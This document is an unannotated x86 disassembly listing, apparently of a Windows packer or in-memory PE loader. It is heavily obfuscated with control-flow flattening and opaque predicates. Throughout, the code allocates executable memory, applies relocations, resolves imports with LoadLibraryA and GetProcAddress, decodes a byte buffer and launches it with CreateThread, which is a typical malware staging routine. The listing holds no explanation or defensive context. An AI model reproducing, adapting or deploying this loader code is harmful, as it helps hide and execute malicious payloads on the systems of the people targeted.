mov eax, 0x1f7cacec
jmp 0x401810
cmp eax, 0x7dbbfe1b
je 0x404d39
cmp eax, 0x7f574a4e
je 0x404d52
cmp eax, 0x7fde7095
jne 0x401810
mov eax, 0x16b8eb89
jmp 0x401810
cmp eax, 0xbe31bc67
je 0x404d5c
cmp eax, 0xbfd4051a
jne 0x40557a
lea eax, [ebp - 0x4c01c]
mov dword [ebp - 0x4c104], eax
mov eax, 0x91cae70c
jmp 0x401810
cmp eax, 0x15169f6
je 0x404d66
cmp eax, 0x25ca329
jne 0x401810
mov eax, 0x4c8c22da
jmp 0x401810
cmp eax, 0x811ecdd6
je 0x404d70
cmp eax, 0x81379035
jne 0x401810
mov eax, dword [ebp - 0x4c060]
mov ecx, dword [ebp - 0x4c074]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*4 + 0x10]
add eax, esi
mov dword [ebp - 0x4c15c], eax
mov eax, 0x74563408
jmp 0x401810
cmp eax, 0x3bcbfdd3
je 0x404d7a
cmp eax, 0x3d96e8ef
jne 0x401810
mov eax, dword [ebp - 0x4c168]
mov ecx, 0xd4816e2
cmp eax, 0xc
mov eax, 0x38b61035
cmove eax, ecx
jmp 0x401810
cmp eax, 0xdf214abe
je 0x404dc3
cmp eax, 0xe0acb874
jne 0x401810
cmp byte [ebp - 0x4c04e], 0
mov eax, 0xa1b3ecc7
mov ecx, 0x543e4ac3
cmovne eax, ecx
jmp 0x401810
cmp eax, 0x1f7cacec
je 0x404dcd
cmp eax, 0x1fceea2d
jne 0x401810
mov eax, dword [ebp - 0x4c03c]
mov edi, dword [ebp - 0x4c0bc]
movzx eax, word [eax]
mov ecx, eax
xor ecx, 0xfffff000
and ecx, eax
movzx eax, cx
mov ecx, dword [edi + eax]
mov edx, dword [ebp - 0x4c0a8]
add ecx, dword [ebp - 0x4c0a8]
mov dword [edi + eax], ecx
mov eax, 0xd5c8329e
jmp 0x401810
cmp eax, 0x9e38c584
je 0x404dec
cmp eax, 0x9e59f1f0
jne 0x401810
mov eax, dword [ebp - 0x4c03c]
mov dword [ebp - 0x4c0d8], eax
mov eax, 0xdbec43fb
jmp 0x401810
cmp eax, 0x5a3a9fe3
je 0x404e62
cmp eax, 0x5abd5e1a
jne 0x401810
mov eax, dword [ebp - 0x4c028]
mov ecx, esi
sub ecx, dword [eax + 0x34]
mov eax, 0xb759ed8d
mov dword [ebp - 0x4c0c0], ecx
jmp 0x401810
cmp eax, 0xcc20d6b5
je 0x404e7b
cmp eax, 0xccb9436b
jne 0x401810
mov eax, 0xea0bd52a
jmp 0x401810
cmp eax, 0xdfb2116
je 0x404ee5
cmp eax, 0xe517b84
jne 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0xb6307825
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x391bad18
jmp 0x40550b
cmp eax, 0x9014e54d
je 0x404eef
cmp eax, 0x90638039
jne 0x401810
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x4c080]
vmovsd xmm0, qword [eax]
mov eax, dword [ebp - 0x4c09c]
vmovsd qword [eax], xmm0
mov eax, 0x97afb82b
jmp 0x401810
cmp eax, 0x4b102a02
je 0x404ef9
cmp eax, 0x4b236a68
jne 0x401810
mov eax, dword [ebp - 0x4c174]
mov edx, 0x9f6190ab
movzx eax, word [eax]
mov ecx, dword [ebp - 0x4c170]
cmp ecx, eax
mov eax, 0xc60f7dd
cmovl eax, edx
jmp 0x401810
cmp eax, 0xedc54d09
je 0x404f0f
cmp eax, 0xee88a3da
jne 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0xccb9436b
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xea0bd52a
jmp 0x40550b
cmp eax, 0x2dac8380
je 0x404f25
cmp eax, 0x2ff75995
jne 0x401810
mov eax, 0xf3f4e4dd
mov dword [ebp - 0x4c02c], 7
jmp 0x401810
cmp eax, 0xad2f435d
je 0x404f2f
cmp eax, 0xad35b213
jne 0x401810
mov eax, dword [ebp - 0x4c040]
mov ecx, dword [ebp - 0x4c07c]
mov ebx, 0x6169832a
mov edi, 0x93083242
mov dword [ebp - 0x4c054], 0x40
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*8 + 0x24]
mov dword [ebp - 0x4c034], eax
and eax, 0x40000000
mov dword [ebp - 0x4c0ec], eax
mov eax, dword [0x4b23e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x93083242
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, ebx
cmp dword [0x4b23e4], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, ebx
jmp 0x401810
cmp eax, 0x6b2a6a66
je 0x404f8a
cmp eax, 0x6baec5ba
jne 0x401810
mov eax, 0xd9793bd9
jmp 0x401810
cmp eax, 0xc2dc6b4f
je 0x404fb0
cmp eax, 0xc3627341
jne 0x401810
mov eax, dword [ebp - 0x4c0d8]
mov eax, 0xd65c2b19
jmp 0x401810
cmp eax, 0x82551f6
je 0x404fba
cmp eax, 0x8c995c8
jne 0x401810
mov eax, dword [0x4b23e8]
mov ebx, 0xec6d83a8
mov edi, 0xb91ea7b9
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xb91ea7b9
jmp 0x4053e6
cmp eax, 0x8518aec6
je 0x404fe1
cmp eax, 0x862fe8fd
jne 0x401810
mov eax, dword [ebp - 0x4c034]
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
mov eax, 0xdc50deab
setne byte [ebp - 0x4c04d]
jmp 0x401810
cmp eax, 0x42f22433
je 0x404ff5
cmp eax, 0x43001f05
jne 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x5f0538a4
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x744cbde9
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
mov edi, dword [ebp - 0x4c034]
cmp ecx, 0xa
cmovge eax, edx
mov ecx, edi
xor ecx, 0xdfffffff
and ecx, edi
mov dword [ebp - 0x4c17c], ecx
jmp 0x401810
cmp eax, 0xea6d43c2
je 0x40501b
cmp eax, 0xeb0820c3
jne 0x401810
mov eax, dword [0x4b23e8]
mov edi, 0xf71e9a61
mov ebx, 0xa11b0ea4
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xa11b0ea4
jmp 0x4049c5
cmp eax, 0x27b510e3
je 0x405025
cmp eax, 0x27c2c30f
jne 0x401810
cmp byte [ebp - 0x4c050], 0
mov eax, 0x55777a8d
mov ecx, 0x90638039
cmovne eax, ecx
jmp 0x401810
cmp eax, 0xa50cc656
je 0x40502f
cmp eax, 0xa752e29c
jne 0x401810
movzx eax, byte [ebp - 0x4c02d]
mov ecx, dword [ebp - 0x4c038]
mov edi, 0x22408769
mov ebx, 0xabb38edd
mov byte [ecx], al
mov eax, dword [ebp - 0x4c080]
mov eax, dword [ebp - 0x4c038]
cmp byte [eax], 0
mov eax, dword [0x4b23e8]
lea ecx, [eax + 1]
setne byte [ebp - 0x4c04f]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xabb38edd
jmp 0x4049cd
cmp eax, 0x6169832a
je 0x405051
cmp eax, 0x63b14c68
jne 0x401810
mov eax, 0x9aae4075
jmp 0x401810
cmp eax, 0xd7fc701b
je 0x40505b
cmp eax, 0xd87fb6d6
jne 0x401810
mov eax, dword [ebp - 0x4c0a0]
mov dword [ebp - 0x4c0e4], eax
mov eax, dword [ebp - 0x4c058]
mov dword [ebp - 0x4c0e8], eax
mov eax, 0xae836e03
jmp 0x401810
cmp eax, 0x16b8eb89
je 0x405065
cmp eax, 0x17f3c436
jne 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x1b704ae0
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xc590a5ef
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4c0e0]
cmovge eax, edx
mov ecx, dword [ecx + 8]
add ecx, dword [ebp - 0x4c068]
mov dword [ebp - 0x4c074], ecx
jmp 0x401810
cmp eax, 0x990df249
je 0x405082
cmp eax, 0x995fded7
jne 0x401810
mov eax, dword [ebp - 0x4c0c8]
push 0x40
push 0x3000
push dword [eax + 0x50]
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov eax, 0xaa642215
jmp 0x401810
cmp eax, 0x514d03ed
je 0x40508c
cmp eax, 0x51674530
jne 0x401810
mov eax, 0x911d04f4
jmp 0x401810
cmp eax, 0xf5d8b9ad
je 0x405096
cmp eax, 0xf621ba5e
jne 0x401810
cmp dword [ebp - 0x4c0ec], 0
mov eax, dword [0x4b23e8]
mov edi, 0x8275c7d1
mov ebx, 0x5acccdb7
lea ecx, [eax + 1]
setne byte [ebp - 0x4c049]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x5acccdb7
jmp 0x4049cd
cmp eax, 0x37c6adbd
je 0x4050ba
cmp eax, 0x37d7dc76
jne 0x401810
mov eax, 0x42d20f4a
jmp 0x401810
cmp eax, 0xb5c3b7c5
je 0x4050ee
cmp eax, 0xb5d33dd6
jne 0x401810
mov eax, 0xe7b9984e
jmp 0x401810
cmp eax, 0x72f8a75c
je 0x405122
cmp eax, 0x744cbde9
jne 0x401810
mov eax, 0x43001f05
jmp 0x401810
cmp eax, 0xc1e6f22d
je 0x405140
cmp eax, 0xc234598c
jne 0x401810
mov eax, 0xc1e57e6c
jmp 0x401810
cmp eax, 0x3bfa51b
je 0x405174
cmp eax, 0x526004c
jne 0x401810
mov eax, 0xbe60067c
jmp 0x401810
cmp eax, 0x8275c7d1
je 0x40517e
cmp eax, 0x827ba480
jne 0x401810
mov eax, 0xfe0e52be
jmp 0x401810
cmp eax, 0x3fc31865
je 0x405197
cmp eax, 0x40f8cd81
jne 0x401810
mov eax, dword [ebp - 0x4c084]
mov eax, dword [ebp - 0x4c080]
mov eax, dword [ebp - 0x4c038]
mov eax, dword [ebp - 0x4c064]
mov eax, dword [0x4b23e8]
mov edi, 0x4a0bae48
mov ebx, 0x4990c7ca
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x4990c7ca
jmp 0x4049c5
cmp eax, 0xe46d0bd6
je 0x4051c0
cmp eax, 0xe7b369a3
jne 0x401810
mov eax, dword [ebp - 0x4c148]
add eax, 2
mov dword [ebp - 0x4c03c], eax
mov eax, 0x615ba419
jmp 0x401810
cmp eax, 0x2234e62e
je 0x4051ca
cmp eax, 0x22408769
jne 0x401810
cmp byte [ebp - 0x4c04f], 0
mov eax, 0xc789dbf5
mov ecx, 0x82551f6
cmovne eax, ecx
jmp 0x401810
cmp eax, 0xa11b0ea4
je 0x405248
cmp eax, 0xa1b3ecc7
jne 0x401810
mov eax, dword [0x4b23e8]
mov edi, 0x42f22433
mov ebx, 0xc11c8d79
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xc11c8d79
jmp 0x4049cd
cmp eax, 0x5e3d958c
je 0x405252
cmp eax, 0x5e630977
jne 0x401810
mov eax, 0xd4d6397f
jmp 0x401810
cmp eax, 0xd238015f
je 0x405272
cmp eax, 0xd4d6397f
jne 0x401810
mov eax, dword [ebp - 0x4c150]
mov ecx, dword [ebp - 0x4c154]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4 + 0x10]
mov dword [ebp - 0x4c158], eax
mov eax, 0xbcb0764f
jmp 0x401810
cmp eax, 0x13648153
je 0x40529a
cmp eax, 0x13a11dbb
jne 0x401810
mov eax, 0x18bdc476
jmp 0x401810
cmp eax, 0x93631ea9
je 0x4052a4
cmp eax, 0x93fe3ff9
jne 0x401810
mov eax, 0xb73aa4ff
jmp 0x401810
cmp eax, 0x4dd77115
je 0x4052e2
cmp eax, 0x4e9700d7
jne 0x401810
mov eax, dword [ebp - 0x4c028]
mov ebx, 0x27b510e3
mov edi, 0xed1d5513
mov dword [ebp - 0x4c0c8], eax
mov eax, dword [0x4b23e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xed1d5513
jmp 0x4053de
cmp eax, 0xef2e4259
je 0x4052ec
cmp eax, 0xf05141ea
jne 0x401810
cmp byte [ebp - 0x4c043], 0
mov eax, 0x7a9ae0a3
mov ecx, 0xa9d93ce1
cmovne eax, ecx
jmp 0x401810
cmp eax, 0x31bc4d7f
je 0x4052f6
cmp eax, 0x332faf58
jne 0x401810
mov eax, dword [ebp - 0x4c0b4]
mov dword [ebp - 0x4c144], eax
mov eax, 0x72f8a75c
jmp 0x401810
cmp eax, 0xb04e4f2d
je 0x40530a
cmp eax, 0xb09db61d
jne 0x401810
mov eax, dword [ebp - 0x4c0a0]
mov ecx, dword [ebp - 0x4c058]
movzx eax, word [eax + ecx*4]
push eax
push dword [ebp - 0x4c094]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x4c0a4], eax
mov eax, 0x4c570ce8
jmp 0x401810
cmp eax, 0x6e5701c0
je 0x405320
cmp eax, 0x6e5b2821
jne 0x401810
mov eax, 0xacbb0cc5
jmp 0x401810
cmp eax, 0xc7165fc6
je 0x40537c
cmp eax, 0xc777434f
jne 0x401810
cmp byte [ebp - 0x4c048], 0
mov eax, 0x6c3568d
mov ecx, 0xcad42df
cmovne eax, ecx
jmp 0x401810
cmp eax, 0xc60f7dd
je 0x4053c4
cmp eax, 0xcad42df
jne 0x401810
mov ecx, dword [ebp - 0x4c0a4]
mov eax, dword [ebp - 0x4c060]
mov edx, dword [ebp - 0x4c074]
mov dword [ebp - 0x4c160], ecx
mov ecx, dword [ebp - 0x4c058]
lea eax, [eax + eax*4]
lea ecx, [esi + ecx*4]
add ecx, dword [edx + eax*4 + 0x10]
mov eax, 0xd046308
mov dword [ebp - 0x4c164], ecx
jmp 0x401810
cmp eax, 0x8ce618e7
je 0x405403
cmp eax, 0x8d0a6750
jne 0x401810
mov eax, 0x4ce3982e
jmp 0x401810
cmp eax, 0x47970c8e
je 0x405436
cmp eax, 0x4990c7ca
jne 0x401810
mov eax, 0x4a0bae48
jmp 0x401810
cmp eax, 0xed1d5513
je 0x405474
cmp eax, 0xed227105
jne 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0xc590a5ef
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x17f3c436
jmp 0x40550b
cmp eax, 0x2a3821dc
je 0x40547e
cmp eax, 0x2ada242a
jne 0x401810
mov eax, dword [0x4b23e8]
mov ebx, 0xeea47c2f
mov edi, 0x15169f6
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x15169f6
jmp 0x4053e6
cmp eax, 0xa9926504
je 0x405492
cmp eax, 0xa9d93ce1
jne 0x401810
mov dword [ebp - 0x4c11c], esi
mov eax, 0x47970c8e
jmp 0x401810
cmp eax, 0x66e79a77
je 0x40549c
cmp eax, 0x66f00215
jne 0x401810
mov dword [ebp - 0x4c040], 0
mov eax, 0xc7165fc6
jmp 0x401810
cmp eax, 0xdbad3edd
je 0x4054b5
cmp eax, 0xdbec43fb
jne 0x401810
mov eax, dword [0x4b23e8]
mov ebx, 0xd65c2b19
mov edi, 0xc3627341
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xc3627341
jmp 0x4053de
cmp eax, 0x1b6aff9d
je 0x4017c1
cmp eax, 0x1b704ae0
jne 0x401810
mov eax, 0x4a6dc4bc
jmp 0x401810
cmp eax, 0x9b55ce87
je 0x4054bf
cmp eax, 0x9b59866b
jne 0x401810
mov eax, dword [0x4b23e8]
mov edi, 0xe28c7ac5
mov ebx, 0x9014e54d
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x9014e54d
jmp 0x4049c5
cmp eax, 0x543e4ac3
je 0x4054c9
cmp eax, 0x55777a8d
jne 0x401810
mov eax, dword [ebp - 0x4c084]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x4c0b0], 0
mov dword [ebp - 0x4c02c], 1
mov eax, 0x40f8cd81
jmp 0x401810
cmp eax, 0xfb9fc99b
je 0x4054dd
cmp eax, 0xfd014b58
jne 0x401810
mov eax, 0xc809bc8d
jmp 0x401810
cmp eax, 0x391bad18
je 0x405520
cmp eax, 0x39248077
jne 0x401810
mov eax, dword [ebp - 0x4c028]
vmovsd xmm0, qword [eax + 0xa0]
vmovsd qword [ebp - 0x4c020], xmm0
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x4c0c4], eax
mov eax, 0xbfd4051a
jmp 0x401810
mov eax, 0x8518aec6
jmp 0x401810
mov eax, dword [ebp - 0x4c0d4]
mov dword [ebp - 0x4c098], 0
mov dword [ebp - 0x4c05c], eax
mov eax, 0xec6d83a8
jmp 0x401810
mov eax, 0xae2e05bc
mov dword [ebp - 0x4c02c], 2
jmp 0x401810
cmp byte [ebp - 0x4c041], 0
mov eax, 0x2153f3ab
mov ecx, 0x51c47b0d
cmovne eax, ecx
jmp 0x401810
mov eax, 0x42f22433
jmp 0x401810
mov eax, 0x2c5ff65c
jmp 0x401810
mov eax, 0xc27192b0
jmp 0x401810
mov eax, dword [ebp - 0x4c098]
mov ebx, 0x7fde7095
mov edi, 0x3f608b86
mov dword [ebp - 0x4c138], eax
mov eax, dword [ebp - 0x4c01c]
mov dword [ebp - 0x4c13c], eax
mov eax, dword [0x4b23e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x3f608b86
jmp 0x4053e6
mov eax, dword [ebp - 0x4c134]
mov ecx, dword [ebp - 0x4c130]
cmp ecx, dword [eax + 0x34]
mov eax, 0xc4cda44a
mov ecx, 0xe8f7ef38
cmove eax, ecx
jmp 0x401810
mov eax, dword [ebp - 0x4c088]
mov eax, dword [ebp - 0x4c08c]
mov eax, dword [ebp - 0x4c088]
mov eax, dword [ebp - 0x4c08c]
mov eax, dword [ebp - 0x4c088]
mov eax, dword [ebp - 0x4c08c]
mov eax, dword [ebp - 0x4c088]
add eax, dword [ebp - 0x4c08c]
push eax
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x4c094], eax
mov eax, 0x82aef576
jmp 0x401810
mov eax, dword [ebp - 0x4c054]
mov ebx, 0x63b14c68
mov edi, 0xdfb2116
mov dword [ebp - 0x4c180], eax
mov eax, dword [0x4b23e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xdfb2116
jmp 0x4053e6
push 0
push 0
push 0
push dword [ebp - 0x4c0f4]
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x4c084]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c038]
mov eax, 0x9e38c584
jmp 0x401810
mov eax, 0xc27192b0
jmp 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x301100e9
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xb54739d4
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
mov edi, dword [ebp - 0x4c040]
cmp ecx, 0xa
cmovge eax, edx
mov dword [ebp - 0x4c184], edi
jmp 0x401810
mov eax, dword [0x4b23e8]
mov ebx, 0xd5c8329e
mov edi, 0x1fceea2d
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x1fceea2d
jmp 0x4053de
lea eax, [ebp - 0x4c010]
mov dword [ebp - 0x4c0cc], esi
mov dword [ebp - 0x4c0d0], eax
mov eax, 0x37e594ea
jmp 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x93083242
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xad35b213
jmp 0x40550b
mov eax, 0x9b59866b
jmp 0x401810
mov eax, dword [ebp - 0x4c0ec]
mov eax, 0xf621ba5e
jmp 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x181aee5d
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x9d4859f2
cmovne edi, ebx
test edx, eax
mov edx, dword [ebp - 0x4c0dc]
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
cmovge eax, edi
inc edx
mov dword [ebp - 0x4c070], edx
jmp 0x401810
push 4
push 0x3000
push dword [ebp - 0x4c0c4]
push dword [ebp - 0x4c0f8]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
mov eax, 0x2577b7d9
jmp 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x422f3476
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x66e79a77
jmp 0x40550b
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x82aef576
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x81b83ec2
jmp 0x4017f0
mov eax, dword [0x4b23e8]
mov edi, 0x6e5701c0
mov ebx, 0x7539b514
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x7539b514
jmp 0x4049cd
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x84512b2d
jmp 0x4050cb
mov eax, dword [ebp - 0x4c104]
mov ecx, 0x2bf539c9
cmp dword [eax], 0
mov eax, 0xeb0820c3
cmove eax, ecx
jmp 0x401810
mov eax, dword [ebp - 0x4c0a0]
mov ecx, dword [ebp - 0x4c058]
mov eax, dword [eax + ecx*4]
mov ecx, eax
xor ecx, 0xffff0000
and ecx, eax
push ecx
push dword [ebp - 0x4c094]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [0x4b23e8]
mov dword [ebp - 0x4c0fc], esi
mov esi, eax
mov ecx, dword [0x4b23e4]
mov edi, 0xb09db61d
mov dword [ebp - 0x4c0a4], esi
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xc777434f
cmovne edi, ebx
test edx, eax
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
cmovge eax, edi
test esi, esi
mov esi, dword [ebp - 0x4c0fc]
setne byte [ebp - 0x4c048]
jmp 0x401810
mov eax, 0x990df249
jmp 0x401810
mov eax, dword [ebp - 0x4c078]
inc eax
mov dword [ebp - 0x4c12c], eax
mov eax, 0xaf274680
jmp 0x401810
mov eax, dword [ebp - 0x4c028]
mov edi, 0x6ca6506b
mov ebx, 0x15169f6
mov dword [ebp - 0x4c134], eax
mov eax, dword [0x4b23e8]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x15169f6
jmp 0x4049cd
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x6e5b2821
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x9479d6b
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, edx
cmp dword [ebp - 0x4c034], 0
sets byte [ebp - 0x4c04c]
jmp 0x401810
mov eax, 0xf30c32e6
jmp 0x401810
mov eax, 0x15f18f3d
jmp 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x4b102a02
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xc4ea11dc
jmp 0x40550b
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0xda3da128
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x11a5fecf
jmp 0x4017f0
mov eax, 0x819483e7
jmp 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0xb759ed8d
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x5abd5e1a
jmp 0x4017f0
mov eax, dword [ebp - 0x4c0e4]
mov ecx, dword [ebp - 0x4c0e8]
mov ebx, 0x3a93d46e
mov edi, 0x4b102a02
cmp dword [eax + ecx*4], 0
mov eax, dword [0x4b23e8]
lea ecx, [eax + 1]
setne byte [ebp - 0x4c047]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x4b102a02
jmp 0x4053e6
mov eax, 0x300dfb76
jmp 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x300dfb76
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x9479d6b
jmp 0x4017f0
mov eax, dword [0x4b23e8]
mov edi, 0x4e9700d7
mov ebx, 0xed1d5513
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xed1d5513
jmp 0x4049c5
mov eax, 0x4c8c22da
jmp 0x401810
mov eax, 0xa1b3ecc7
jmp 0x401810
mov eax, dword [0x4b23e8]
mov ebx, 0xc7165fc6
mov edi, 0x66f00215
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x66f00215
jmp 0x4053e6
mov eax, 0xedc54d09
jmp 0x401810
mov eax, dword [ebp - 0x4c0d4]
mov edi, 0xe2060e29
mov ebx, 0xb91ea7b9
mov dword [ebp - 0x4c098], 0
mov dword [ebp - 0x4c05c], eax
mov eax, dword [0x4b23e8]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xb91ea7b9
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, edi
cmp dword [0x4b23e4], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, edi
jmp 0x401810
mov eax, 0x2145b610
jmp 0x401810
mov eax, dword [0x4b23e8]
mov ebx, 0x9e38c584
mov edi, 0x3e1c0620
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x3e1c0620
jmp 0x4053de
mov eax, 0xeb7d8f51
jmp 0x401810
mov eax, dword [ebp - 0x4c034]
and eax, 0x80000000
mov dword [ebp - 0x4c178], eax
mov eax, 0x7dbbfe1b
jmp 0x401810
mov eax, 0xcad42df
jmp 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x56d94e68
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x2dac8380
jmp 0x4017f0
lea eax, [ebp - 0x4c010]
mov dword [ebp - 0x4c018], eax
xor ecx, ecx
xor edi, edi
mov ecx, dword [ebp - 0x4c014]
mov edi, dword [ebp - 0x4c018]
not byte [edi]
add byte [edi], 0x43
mov eax, 0xff
sub byte [edi], 0x56
imul byte [edi]
inc edi
loop 0x40434b
mov eax, 0x8dae7fec
jmp 0x401810
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0xed4d4029
lea eax, [edx - 1]
jmp 0x4017d5
mov edx, dword [0x4b23e8]
mov ecx, dword [0x4b23e4]
mov edi, 0x11a5fecf
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x5e630977
cmovne edi, ebx
test edx, eax
mov edx, dword [ebp - 0x4c060]
mov eax, edi
cmove eax, ebx
cmp ecx, 0xa
cmovge eax, edi
